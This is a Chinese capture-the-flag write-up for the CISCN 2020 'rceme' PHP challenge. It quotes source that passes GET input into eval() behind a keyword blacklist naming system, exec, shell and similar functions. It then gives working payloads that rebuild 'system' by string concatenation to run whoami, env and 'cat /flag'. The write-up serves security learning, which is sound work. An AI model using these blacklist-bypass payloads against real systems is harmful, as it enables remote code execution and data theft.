[CISCN 2020] rceme

Refer Article:https://zhzhdoai.github.io/2019/02/20/PHP%E4%B9%8BGET%E4%BC%A0%E5%8F%82%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/

源码如下:

 
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
} 

这里在做题的时候多亏了参考文章的那位师傅,第一次碰到GET 传参黑名单绕过执行类的题目,感谢师傅的分享,受教了

首先明确利用点:

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

要把GET到的传参传到eval处需要符合这样的格式:

$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';

然后本地测试明确了一下preg_match_all()中的多维数组参数$matches的内容

$ifstr = $matches[ 1 ][ $i ];的内容,这里就先拿下文的payload测试
[CISCN 2020] rceme_第1张图片
首先$count=1,那么$ifstr就是$matches[ 1 ][ 0 ];,下面也输出了$matches[ 1 ][ 0 ];可以看到是我们传入的payload中最前面的{}中的内容,之后$ifstr=danger_key($ifstr,1);使用了danger_key()过滤了很多关键字符,以及:

if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

还过滤了一些={}号之类的字符,无伤大雅,最后插入到eval当中进行执行,OK代码就看到这里

接下来看看如何绕过这些过滤,根据文章开头的参考文章,GET GET 传参黑名单绕过执行有很多绕过方法

1. PHP转义绕过

Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串(自PHP 7.0.0引入该功能)
PHP>7可以采用可变函数+十六进制绕过黑名单

虽然这里题目环境是PHP>7,但是这里和参考文章不同,这里是拼接到if else结构当中在eval执行,我并没测试出来,
[CISCN 2020] rceme_第2张图片
应该是我太菜了,姿势不对,有使用这种方法测试出来这道题的欢迎留言区分享

2. 使用字符串拼接

这种方法可以,使用php 连接符拼接关键字,可以绕过黑名单执行,payload如下:

?a={if:(sy.(st).em)(whoami)}{end if}

?a={if:(s.y.s.t.e.m)(env)}{end if}

[CISCN 2020] rceme_第3张图片

[CISCN 2020] rceme_第4张图片
这里得说一下,使用env环境变量这个姿势好用,有些题目甚至还需要你猜路径才能找到flag,使用env都不用找直接出来,而且还有很多信息都可以看到,比如PHP版本,一些环境变量的绝对路径之类的,挺爽的,当然要找flag也可以,flag在根目录
payload:?a={if:(s.y.s.t.e.m)('cat /flag')}{end if}
[CISCN 2020] rceme_第5张图片
其他的方法就不测试了,有空之后再写一篇关于GET 黑名单绕过执行的文章

你可能感兴趣的:(CTF_WEB_Writeup,CISCN,2020],rceme)